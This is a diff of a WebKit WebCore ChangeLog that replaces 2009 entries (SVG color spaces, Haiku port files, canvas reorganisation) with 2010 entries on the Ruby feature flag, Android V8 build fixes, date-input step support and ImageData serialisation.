-        https://bugs.webkit.org/show_bug.cgi?id=27844
-
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-
-2009-08-08  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        This is an initial implementation for linearRGB and sRGB support for all
-        platforms. Some platforms like Cg support different color spaces
-        natively, others like Qt, Cairo and Skia do not. This patch uses the
-        native implementation of platforms if possible and offers a common version
-        if not.
-
-        Different color spaces are used in SVG Filters. Nearly every Filter test 
-        case is a test for this patch and will be enabled, once Filters are enabled.
-        https://bugs.webkit.org/show_bug.cgi?id=27844
-
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::drawTextInternal):
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::createImageBuffer):
-        * platform/graphics/GeneratedImage.cpp:
-        (WebCore::GeneratedImage::drawPattern):
-        * platform/graphics/ImageBuffer.cpp: Added.
-        (WebCore::ImageBuffer::transformColorSpace):
-        * platform/graphics/ImageBuffer.h:
-        (WebCore::):
-        (WebCore::ImageBuffer::create):
-        * platform/graphics/cairo/ImageBufferCairo.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        (WebCore::ImageBuffer::platformTransformColorSpace):
-        * platform/graphics/cairo/ImageCairo.cpp:
-        (WebCore::Image::drawPattern):
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        * platform/graphics/chromium/TransparencyWin.cpp:
-        (WebCore::TransparencyWin::OwnedBuffers::OwnedBuffers):
-        * platform/graphics/filters/FilterEffect.cpp:
-        (WebCore::FilterEffect::getEffectContext):
-        * platform/graphics/qt/ImageBufferQt.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        (WebCore::ImageBuffer::platformTransformColorSpace):
-        * platform/graphics/qt/PathQt.cpp:
-        (WebCore::Path::strokeContains):
-        (WebCore::Path::strokeBoundingRect):
-        * platform/graphics/skia/ImageBufferSkia.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        (WebCore::ImageBuffer::platformTransformColorSpace):
-        * platform/graphics/skia/SkiaUtils.cpp:
-        (WebCore::scratchContext):
-        * platform/graphics/wx/ImageBufferWx.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        * platform/mac/ScrollbarThemeMac.mm:
-        (WebCore::ScrollbarThemeMac::paint):
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
-        * svg/SVGMaskElement.cpp:
-        (WebCore::SVGMaskElement::drawMaskerContent):
-        * svg/SVGPatternElement.cpp:
-        (WebCore::SVGPatternElement::buildPattern):
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::nativeImageForCurrentFrame):
-        * svg/graphics/SVGPaintServerGradient.cpp:
-        (WebCore::createMaskAndSwapContextForTextGradient):
-        * svg/graphics/SVGPaintServerPattern.cpp:
-        (WebCore::SVGPaintServerPattern::setup):
-        * svg/graphics/SVGResourceFilter.cpp:
-        (WebCore::SVGResourceFilter::prepareFilter):
-        (WebCore::SVGResourceFilter::applyFilter):
-        * svg/graphics/SVGResourceMasker.cpp:
-        (WebCore::SVGResourceMasker::applyMask):
-        * svg/graphics/filters/SVGFETile.cpp:
-        (WebCore::FETile::apply):
-
-2009-08-08  Xan Lopez  <xlopez@igalia.com>
-
-        Roll out r46928, since it wasn't done in accordance with the
-        agreed naming.
-
-        * bindings/gdom/GdomDOMObject.cpp: Removed.
-
-2009-08-08  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Xan Lopez.
+2010-02-11  Csaba Osztrogonác  <ossy@webkit.org>
 
-        [Gtk] Enable accessibility in Gtk DRT
-        https://bugs.webkit.org/show_bug.cgi?id=25989
+        Reviewed by Tor Arne Vestbø.
 
-        Add SPI to get the focused accessible element to be used by DRT.
+        [Qt] ENABLE_RUBY flag was restored by r54649, but default value wasn't added for Qt port.
+        https://bugs.webkit.org/show_bug.cgi?id=34698
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_focused_element):
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.h:
+        * WebCore.pri: Add ENABLE_RUBY=1 as default setting.
 
-2009-08-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
+2010-02-11  Steve Block  <steveblock@google.com>
 
-        Gtk build fix - add html/canvas to the binding generator's include path
+        Reviewed by Jeremy Orlow.
 
-        * GNUmakefile.am:
+        Updates Android V8 Makefile to generate Notifications and WebSockets headers required by V8DOMWrapper.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=34815
 
-2009-08-07  Oliver Hunt  <oliver@apple.com>
+        No new tests, build fix only.
 
-        Another attempt to fix windows.
+        * Android.derived.v8bindings.mk:
 
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
+2010-02-11  Steve Block  <steveblock@google.com>
 
-2009-08-07  Oliver Hunt  <oliver@apple.com>
+        Reviewed by Jeremy Orlow.
 
-        Windows build fix
+        Updates Android V8 Makefile to generate XPath header required by V8Proxy.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=34814
 
-        * WebCore.vcproj/WebCore.vcproj:
+        No new tests, build fix only.
 
-2009-08-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
+        * Android.derived.v8bindings.mk:
 
-        Gtk build fix - add html/canvas to the include path.
+2010-02-11  Steve Block  <steveblock@google.com>
 
-        * GNUmakefile.am:
+        Reviewed by Nate Chapin.
 
-2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
+        Update Android V8 Makefile to generate Inspector headers required by V8 ScriptObject.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=34806
 
-        Prospective build fix for Qt following r46937.
+        No new tests, build fix only.
 
-        * WebCore.pro:
+        * Android.derived.v8bindings.mk:
 
-2009-08-07  Yong Li  <yong.li@torchmobile.com>
+2010-02-11  Steve Block  <steveblock@google.com>
 
-        WINCE PORT: store only width for GlyphBufferAdvance, to save space on low-memory devices
-        https://bugs.webkit.org/show_bug.cgi?id=27734
-
-        * platform/graphics/GlyphBuffer.h:
-        (WebCore::GlyphBuffer::advanceAt):
-        (WebCore::GlyphBuffer::advanceData):
-        (WebCore::GlyphBuffer::add):
+        Reviewed by David Levin.
 
-2009-08-07  Yong Li  <yong.li@torchmobile.com>
+        Guards SVG code in V8 bindings with ENABLE(SVG)
+        https://bugs.webkit.org/show_bug.cgi?id=34812
 
-        Reviewed by Eric Seidel.
+        Also updates Android V8 Makefile to generate required SVG headers.
 
-        WINCE PORT: pass unrecognized glyphs to GDI to handle
-        https://bugs.webkit.org/show_bug.cgi?id=27734
+        No new tests, build fix only.
 
-        * platform/graphics/FontFastPath.cpp:
-        (WebCore::Font::glyphDataForCharacter):
+        * Android.derived.v8bindings.mk:
+        * bindings/v8/custom/V8CSSValueCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::toV8):
 
-2009-08-07  Chris Marrin  <cmarrin@apple.com>
+2010-02-08  Maciej Stachowiak  <mjs@apple.com>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Cameron Zwarich.
 
-        Move Canvas related file to a subdirectories
-        https://bugs.webkit.org/show_bug.cgi?id=28026
+        Restore ENABLE_RUBY flag so vendors can ship with Ruby disabled if they choose.
+        https://bugs.webkit.org/show_bug.cgi?id=34698
 
+        * Configurations/FeatureDefines.xcconfig:
         * DerivedSources.make:
         * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/CanvasGradient.cpp: Removed.
-        * html/CanvasGradient.h: Removed.
-        * html/CanvasGradient.idl: Removed.
-        * html/CanvasPattern.cpp: Removed.
-        * html/CanvasPattern.h: Removed.
-        * html/CanvasPattern.idl: Removed.
-        * html/CanvasPixelArray.cpp: Removed.
-        * html/CanvasPixelArray.h: Removed.
-        * html/CanvasPixelArray.idl: Removed.
-        * html/CanvasRenderingContext2D.cpp: Removed.
-        * html/CanvasRenderingContext2D.h: Removed.
-        * html/CanvasRenderingContext2D.idl: Removed.
-        * html/CanvasStyle.cpp: Removed.
-        * html/CanvasStyle.h: Removed.
-        * html/canvas: Added.
-        * html/canvas/CanvasGradient.cpp: Copied from WebCore/html/CanvasGradient.cpp.
-        * html/canvas/CanvasGradient.h: Copied from WebCore/html/CanvasGradient.h.
-        * html/canvas/CanvasGradient.idl: Copied from WebCore/html/CanvasGradient.idl.
-        * html/canvas/CanvasPattern.cpp: Copied from WebCore/html/CanvasPattern.cpp.
-        * html/canvas/CanvasPattern.h: Copied from WebCore/html/CanvasPattern.h.
-        * html/canvas/CanvasPattern.idl: Copied from WebCore/html/CanvasPattern.idl.
-        * html/canvas/CanvasPixelArray.cpp: Copied from WebCore/html/CanvasPixelArray.cpp.
-        * html/canvas/CanvasPixelArray.h: Copied from WebCore/html/CanvasPixelArray.h.
-        * html/canvas/CanvasPixelArray.idl: Copied from WebCore/html/CanvasPixelArray.idl.
-        * html/canvas/CanvasRenderingContext2D.cpp: Copied from WebCore/html/CanvasRenderingContext2D.cpp.
-        * html/canvas/CanvasRenderingContext2D.h: Copied from WebCore/html/CanvasRenderingContext2D.h.
-        * html/canvas/CanvasRenderingContext2D.idl: Copied from WebCore/html/CanvasRenderingContext2D.idl.
-        * html/canvas/CanvasStyle.cpp: Copied from WebCore/html/CanvasStyle.cpp.
-        * html/canvas/CanvasStyle.h: Copied from WebCore/html/CanvasStyle.h.
-
-2009-08-07  Szabo Carol  <carol.szabo@nokia.com>
-
-        Reviewed by David Hyatt.
-
-        QtWebkit ignores letter-spacing and word-spacing styles.
-        QtWebkit handles custom letter-spacing and word-spacing in the native QFont
-        class, but the values for these options are not not passed on from
-        the platform independent part of the Font class.
-        Fixed QtWebkit behavior by applying the options to QFont when it is
-        returned via Font::font()
-
-        http://bugs.webkit.org/show_bug.cgi?id=27988
-
-        LayoutTests:
-        fast/css/word-space-extra.html
-        css2.1/t1604-c542-letter-sp-00-b-a.html
-        css2.1/t1604-c541-word-sp-01-b-a.html
-        css1/text_properties/word_spacing.html
-        
-        * platform/graphics/qt/FontQt.cpp:
-        (WebCore::Font::font):
-
-2009-08-07  Nicolas Weber  <thakis@chromium.org>
+        * html/HTMLTagNames.in: Make the ruby-related tag names conditional.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::createObject): ifdef the code that would create ruby elements.
+        * rendering/RenderObject.h: ditto above
+        * rendering/RenderRuby.cpp: ifdef this whole file
+        * rendering/RenderRuby.h: ditto
+        * rendering/RenderRubyBase.cpp: ditto
+        * rendering/RenderRubyBase.h: ditto
+        * rendering/RenderRubyRun.cpp: ditto
+        * rendering/RenderRubyRun.h: ditto
+        * rendering/RenderRubyText.cpp: ditto
+        * rendering/RenderRubyText.h: ditto
+
+2010-02-11  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Use correct highlight color for listboxes and completion popups.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28090
-
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        Rename activeListBoxSelectionBackgroundColor to
-        platformActiveListBoxSelectionBackgroundColor, so that it actually
-        overrides a virtual method.
-
-2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        Added a fourth bunch of Haiku-specific files for WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=26988
-
-        * platform/haiku/PasteboardHaiku.cpp: Added.
-        (WebCore::Pasteboard::Pasteboard):
-        (WebCore::Pasteboard::generalPasteboard):
-        (WebCore::Pasteboard::writeSelection):
-        (WebCore::Pasteboard::canSmartReplace):
-        (WebCore::Pasteboard::plainText):
-        (WebCore::Pasteboard::documentFragment):
-        (WebCore::Pasteboard::writeURL):
-        (WebCore::Pasteboard::writeImage):
-        (WebCore::Pasteboard::clear):
-        * platform/haiku/PlatformKeyboardEventHaiku.cpp: Added.
-        (WebCore::keyIdentifierForHaikuKeyCode):
-        (WebCore::windowsKeyCodeForKeyEvent):
-        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
-        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
-        (WebCore::PlatformKeyboardEvent::currentCapsLockState):
-        * platform/haiku/PlatformMouseEventHaiku.cpp: Added.
-        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
-        * platform/haiku/PlatformWheelEventHaiku.cpp: Added.
-        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
-
-2009-08-07  Nicolas Weber  <thakis@chromium.org>
-
-        Teach WebKit how to decode jpegs in cmyk and ycck color spaces.
-        Heavily inspired by Firefox's take on this issue.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27909
-
-        Reviewed by Eric Seidel.
-
-        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-        (WebCore::JPEGImageReader::decode):
-        Tell jpeglib to convert ycck to cmyk and keep cmyk.
-        (WebCore::convertCMYKToRGBA):
-        Added function to convert cmyk to rgb.
-        (WebCore::convertRGBToRGBA):
-        Extracted existing conversion logic into its own function.
-        (WebCore::JPEGImageDecoder::outputScanlines):
-        Call convertCMYKToRGBA for cmyk images, convertRGBToRGBA for rgb
-        images.
-
-2009-08-07  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        SharedWorkers should be shared
-        https://bugs.webkit.org/show_bug.cgi?id=28058
-
-        Added tracking of shared workers to the SharedWorkerRepository.
-
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::create):
-        Changed SharedWorkerProxy to derive from ThreadSafeShared, as it needs to outlive the repository (if closed while some documents are still loading).
-        (WebCore::SharedWorkerProxy::thread):
-        (WebCore::SharedWorkerProxy::closing):
-        Added flag used to determine whether the worker has closed itself while loading.
-        (WebCore::SharedWorkerProxy::url):
-        (WebCore::SharedWorkerProxy::name):
-        Proxy now tracks worker URL and name to allow validity checks per section 4.8.3 of the WebWorkers spec.
-        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
-        (WebCore::SharedWorkerProxy::addToDocumentSet):
-        Added API to track the document set for a worker to allow worker shutdown. Currently does nothing.
-        (WebCore::SharedWorkerScriptLoader::SharedWorkerScriptLoader):
-        Renamed SharedWorkerLoader to be SharedWorkerScriptLoader for clarity.
-        (WebCore::SharedWorkerScriptLoader::load):
-        (WebCore::SharedWorkerScriptLoader::notifyFinished):
-        (WebCore::DefaultSharedWorkerRepository::instance):
-        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
-        Now handles "worker already loaded" case.
-        (WebCore::SharedWorkerRepository::connect):
-        Delegates to DefaultSharedWorkerRepository::connectToWorker
-        (WebCore::DefaultSharedWorkerRepository::connectToWorker):
-        Added code to track the SharedWorkerProxy in a map, and to handle the "worker already loaded" case.
-        (WebCore::DefaultSharedWorkerRepository::getProxy):
-        Atomic get-or-create operation on the internal tracking HashMap.
-        * workers/DefaultSharedWorkerRepository.h:
-        * workers/SharedWorker.cpp:
-        (WebCore::SharedWorker::SharedWorker):
-        * workers/SharedWorkerRepository.h:
-        Removed instance() API and made constructor private to prevent instantiation.
-        (WebCore::SharedWorkerRepository::SharedWorkerRepository):
-
-2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        Added four Haiku-specific files for WebCore:
-        PopupMenuHaiku.cpp, ScreenHaiku.cpp,
-        SearchPopupMenuHaiku.cpp and SoundHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28080
-
-        * platform/haiku/PopupMenuHaiku.cpp: Added.
-        (WebCore::PopupMenu::PopupMenu):
-        (WebCore::PopupMenu::~PopupMenu):
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupMenu::hide):
-        (WebCore::PopupMenu::updateFromElement):
-        (WebCore::PopupMenu::itemWritingDirectionIsNatural):
-        * platform/haiku/ScreenHaiku.cpp: Added.
-        (WebCore::screenRect):
-        (WebCore::screenAvailableRect):
-        (WebCore::screenDepth):
-        (WebCore::screenDepthPerComponent):
-        (WebCore::screenIsMonochrome):
-        * platform/haiku/SearchPopupMenuHaiku.cpp: Added.
-        (WebCore::SearchPopupMenu::SearchPopupMenu):
-        (WebCore::SearchPopupMenu::saveRecentSearches):
-        (WebCore::SearchPopupMenu::loadRecentSearches):
-        (WebCore::SearchPopupMenu::enabled):
-        * platform/haiku/SoundHaiku.cpp: Added.
-        (WebCore::systemBeep):
-
-2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        Added two Haiku-specific files to WebCore:
-        TemporaryLinkStubs.cpp and WidgetHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28080
-
-        * platform/haiku/TemporaryLinkStubs.cpp: Added.
-        (loadResourceIntoArray):
-        (WebCore::historyContains):
-        (WebCore::supportedKeySizes):
-        (WebCore::signedPublicKeyAndChallengeString):
-        (WebCore::userIdleTime):
-        (WebCore::callOnMainThread):
-        (WebCore::SharedBuffer::createWithContentsOfFile):
-        (WebCore::KURL::fileSystemPath):
-        (WebCore::getSupportedKeySizes):
-        * platform/haiku/WidgetHaiku.cpp: Added.
-        (WebCore::Widget::Widget):
-        (WebCore::Widget::~Widget):
-        (WebCore::Widget::frameRect):
-        (WebCore::Widget::setFrameRect):
-        (WebCore::Widget::setFocus):
-        (WebCore::Widget::setCursor):
-        (WebCore::Widget::show):
-        (WebCore::Widget::hide):
-        (WebCore::Widget::paint):
-        (WebCore::Widget::setIsSelected):
-
-2009-08-07  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Fix the problem that isAttribute is set to false for onerror and
-        onmessage in worker custom code.
-        https://bugs.webkit.org/show_bug.cgi?id=28083
-
-        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_SETTER):
-
-2009-08-07  Vitaly Repeshko  <vitalyr@quad.spb.corp.google.com>
-
-        Reviewed by Dimitri Glazkov.
-
-        V8 bindings: speed up lookupDOMWrapper by using new V8 API function.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28071
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::lookupDOMWrapper):
-
-2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Justin Garcia.
-
-        selectionHasStyle doesn't handle text-specific properties properly
-        https://bugs.webkit.org/show_bug.cgi?id=27858
-
-        This patch modifies selectionHasStyle so that it returns TrueTriState when text styles
-        (text-decoration, font-style, font-weight, & color) are present in all text nodes,
-        regardless of whether the style is also present in their ancestor nodes or not.
-        e.g. New behavior concludes that <b><i>hello</i><i>world</i></b> has italic style.
-
-        WebKit now applies the text styles (bold, italic, etc) if the specified style was not present on
-        at least one text node, rather than at the beginning of selection except on Mac.
-        On Mac, WebKit applies the text style if the style was not present at the beginning of style.
-
-        Test: editing/execCommand/toggle-compound-styles.html
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::getPropertiesNotInComputedStyle): bug fix, must use copy instead of makeMutable for a mutable style.
-        * editing/Editor.cpp:
-        (WebCore::):
-        (WebCore::triStateOfStyleInComputedStyle): Added a boolean type to ignore text-specific styles
-        (WebCore::Editor::selectionHasStyle): Ignores text-specific styles for all but text nodes
-        * editing/EditorCommand.cpp:
-        (WebCore::executeToggleStyle): Uses selectionHasStyle instead of selectionStartHasStyle
-
-2009-08-07  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Do not register V8 error message listener in WorkerContextExecutionProxy.
-        https://bugs.webkit.org/show_bug.cgi?id=28082
-
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::initV8IfNeeded):
-
-2009-08-07  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        Cairo-based Windows port does not handle cookies properly
-        https://bugs.webkit.org/show_bug.cgi?id=27414
-
-        curl handles cookies by itself, so using WinINet functions
-        to get and set cookies is wrong.
-
-        Replace CookieJarWin.cpp with CookieJarCurl.cpp so that
-        cookies can be implemented later once curl provides an API to
-        get and set cookies.
-
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-08-07  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28074
-
-        V8 bindings for the window.applicationCache attribute.
-
-        * WebCore.gypi:
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp: Added.
-
-2009-08-07  Alpha Lam  <hclam@chromium.org>
+        Step attribute support for date&time types.
+        https://bugs.webkit.org/show_bug.cgi?id=30847
 
-        Reviewed by Eric Seidel.
-
-        Right click on timeline of media controls panel cause seek
-        https://bugs.webkit.org/show_bug.cgi?id=27920
-
-        Add a test simulate the behavior of seeking by right clicking
-        on the time bar of media controls while playing.
+        - Add implementation for ValidityState.stepMismatch, stepUp() and
+          stepDown() for date, datetime, datetime-local, month, time, week types.
+        - Fix string representation of DateComponents.
 
-        * media/controls-right-click-on-timebar-expected.txt: Added.
-        * media/controls-right-click-on-timebar.html: Added.
+        Tests: fast/forms/ValidityState-stepMismatch.html
+               fast/forms/input-stepup-stepdown.html
 
-2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
+        * html/HTMLInputElement.cpp:
+          - Change monthDefaultMaximum so that DateComponents::m_year doesn't overflow.
+        (WebCore::HTMLInputElement::stepBase):
+        (WebCore::HTMLInputElement::stepMismatch):
+        (WebCore::HTMLInputElement::getStepParameters):
+        (WebCore::HTMLInputElement::getAllowedValueStep):
+        (WebCore::HTMLInputElement::applyStep):
+          Renamed from applyStepForNumberOrRange(), and add support for other types.
+        (WebCore::HTMLInputElement::stepUp): Rename applyStepForNumberOrRange().
+        (WebCore::HTMLInputElement::stepDown): Rename applyStepForNumberOrRange().
+        (WebCore::HTMLInputElement::setValueAsDate): Use setDateValue().
+        (WebCore::HTMLInputElement::setDateValue):
+          A helper function to make the best representation of DateComponents.
+        (WebCore::HTMLInputElement::setValueAsNumber):  Use setDateValue().
+        * html/HTMLInputElement.h:
 
-        Reviewed by Justin Garcia.
+2010-02-10  Oliver Hunt  <oliver@apple.com>
 
-        deprecatedCopyInheritableProperties must be replaced by two different functions
-        https://bugs.webkit.org/show_bug.cgi?id=28057
+        Reviewed by Gavin Barraclough.
 
-        This patch deletes deprecatedInheritableProperties and modifies call callees to call either editingStyleAtPosition
-        or prepareEditingStyleToApplyAt. The concept of editing style is introduced in this patch,
-        which consists of all CSS properties need to be preserved under editing operations.
+        postMessage does not send ImageData
+        https://bugs.webkit.org/show_bug.cgi?id=34825
 
-        No test is added since this patch does not change any behavior.
+        Implement serialisation of ImageData, and for testing reasons
+        expose the ImageData constructor (which should already have
+        been exposed).
 
-        * css/CSSComputedStyleDeclaration.cpp: Removed deprecatedCopyInheritableProperties
-        * css/CSSComputedStyleDeclaration.h: Removed deprecatedCopyInheritableProperties
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::):
-        (WebCore::editingStyleAtPosition): Obtains the editing-specific computed style at the position
-        (WebCore::prepareEditingStyleToApplyAt): Removes redundant editing styles at the specified position
-        (WebCore::removeStylesAddedByNode): Removes the style derived from the specified node
-        * editing/ApplyStyleCommand.h:
-        (WebCore::):
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::moveParagraphs): Uses editingStyleAtPosition
-        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem): Uses editingStyleAtPosition
-        * editing/DeleteSelectionCommand.cpp:
-        (WebCore::removeEnclosingAnchorStyle): Uses removeStyleOfNode
-        (WebCore::DeleteSelectionCommand::saveTypingStyleState): Uses editingStyleAtPosition
-        (WebCore::DeleteSelectionCommand::calculateTypingStyleAfterDelete): Uses prepareEditingStyleToApplyAt
-        * editing/EditCommand.cpp:
-        * editing/EditCommand.h:
-        * editing/InsertParagraphSeparatorCommand.cpp:
-        (WebCore::InsertParagraphSeparatorCommand::calculateStyleBeforeInsertion): Uses editingStyleAtPosition
-        (WebCore::InsertParagraphSeparatorCommand::applyStyleAfterInsertion): Uses prepareEditingStyleToApplyAt
-        * editing/RemoveFormatCommand.cpp:
-        (WebCore::RemoveFormatCommand::doApply): Uses editingStyleAtPosition
-        * editing/ReplaceSelectionCommand.cpp:
-        (WebCore::handleStyleSpansBeforeInsertion): Uses editingStyleAtPosition
-        (WebCore::ReplaceSelectionCommand::handleStyleSpans): Uses editingStyleAtPosition and prepareEditingStyleToApplyAt
-        (WebCore::ReplaceSelectionCommand::doApply): Uses prepareEditingStyleToApplyAt
-        * editing/markup.cpp:
-        (WebCore::removeEnclosingMailBlockquoteStyle): Uses removeStyleOfNode
-        (WebCore::removeDefaultStyles): Uses prepareEditingStyleToApplyAt
-        (WebCore::createMarkup): Uses editingStyleAtPosition
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedImageData::create):
+        (WebCore::SerializedImageData::width):
+        (WebCore::SerializedImageData::height):
+        (WebCore::SerializedImageData::data):
+        (WebCore::SerializedImageData::SerializedImageData):
+        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
+        (WebCore::SharedSerializedData::asImageData):
+        (WebCore::SerializingTreeWalker::convertIfTerminal):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+        (WebCore::TeardownTreeWalker::convertIfTerminal):
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValueData::):
+        (WebCore::SerializedScriptValueData::asImageData):
+        * html/canvas/CanvasPixelArray.h:
+        (WebCore::CanvasPixelArray::data):
+        * page/DOMWindow.idl:
 
-2009-08-07  Steve Block  <steveblock@google.com>
+2010-02-10  Adam Barth  <abarth@webkit.org>
 
         Reviewed by Darin Adler.
 
-        Bug 27250: Geolocation callback function IDL files are superfluous
-        https://bugs.webkit.org/show_bug.cgi?id=27250
-
-        The objects for the Geolocation success and error callbacks are created 'manually' in
-        WebCore/bindings/js/JSGeolocationCustom.cpp. Furthermore, the callback interfaces are 
-        marked 'NoInterfaceObject' in the W3C spec, so the prototype should not
-        appear on the window object. Hence IDL files for these callbacks are not required.
-
-        See http://www.w3.org/TR/geolocation-API/#geolocation_interface and
-        http://www.w3.org/TR/WebIDL/#NoInterfaceObject.
-
-        No new tests required.
-
-        * DerivedSources.make: Modified. Removed reference to IDL files.
-        * WebCore.gypi: Modified. Removed reference to IDL files.
-        * WebCore.xcodeproj/project.pbxproj: Modified. Removed reference to IDL files.
-        * page/PositionCallback.idl: Removed.
-        * page/PositionErrorCallback.idl: Removed.
-
-2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
-
-        Reviewed by David Levin.
-
-        Build fix for Qt when ENABLE_VIDEO = 0.  This was necessitated by r46890 which
-        put the idl files back into play regardless of compile time defines.
-
-        * html/TimeRanges.idl:
-
-2009-08-07  Mike Fenton  <mike.fenton@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        Coding style patches for RenderThemeQt.cpp based on results from cpp_style.py.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28050
-
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::baselinePosition):
-        (WebCore::inflateButtonRect):
-        (WebCore::RenderThemeQt::supportsFocus):
-        (WebCore::RenderThemeQt::applyTheme):
-
-2009-08-07  Mike Fenton  <mike.fenton@torchmobile.com>
+        Address last round of review comments on r53607
+        https://bugs.webkit.org/show_bug.cgi?id=33940
 
-        Reviewed by Eric Seidel.
-
-        Prevent RenderThemeQt AdjustStyle based calls for TextField, MenuList and MenuListButton
-        from discarding style colour.
-
-        Add tests and remove tests from platform/qt/Skipped that now pass.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28050
-
-        Tests: fast/forms/menulist-style-color.html
-               fast/forms/text-style-color.html
-
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::adjustTextFieldStyle):
-        (WebCore::RenderThemeQt::adjustMenuListStyle):
-        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
-
-2009-08-07  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        https://bugs.webkit.org/show_bug.cgi?id=22495
-        [V8] Re-land http://trac.webkit.org/changeset/46821, now that
-        http://trac.webkit.org/changeset/46874 re-landed
+        Mostly renaming and cleaning up.
 
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8Index.cpp:
